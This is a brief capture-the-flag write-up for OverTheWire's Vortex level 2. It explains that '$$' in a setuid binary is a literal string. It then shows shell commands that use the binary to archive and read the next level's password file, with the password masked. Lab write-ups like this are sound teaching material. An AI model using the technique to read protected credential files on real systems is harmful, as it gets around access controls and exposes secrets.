OverTheWire.org - Vortex - Level 2 Writeup

The code executes a tar command that creates an archive named /tmp/ownership.$$.tar

The main point here is  that $$, when used in a bash script represent the PID of the process itself.

But in our case, an ELF executable, it's not representing the PID but they are used as characters.
Therefore we just have to run the executable including the password as parameter.

Then we have to:

• create a temporary folder, 
• move to it, 
• run the executable using, 
• untar the file,
• view the content in the local copy of the file.

vortex2@vortex:/$ mkdir /tmp/v3

vortex2@vortex:/$ cd /tmp/v3

vortex2@vortex:/tmp/v3$ /vortex/vortex2 /etc/vortex_pass/vortex3

vortex2@vortex:/tmp/v3$ tar -xvf  /tmp/ownership.\$\$.tar
etc/vortex_pass/vortex3

vortex2@vortex:/tmp/v3$ cat etc/vortex_pass/vortex3
6******#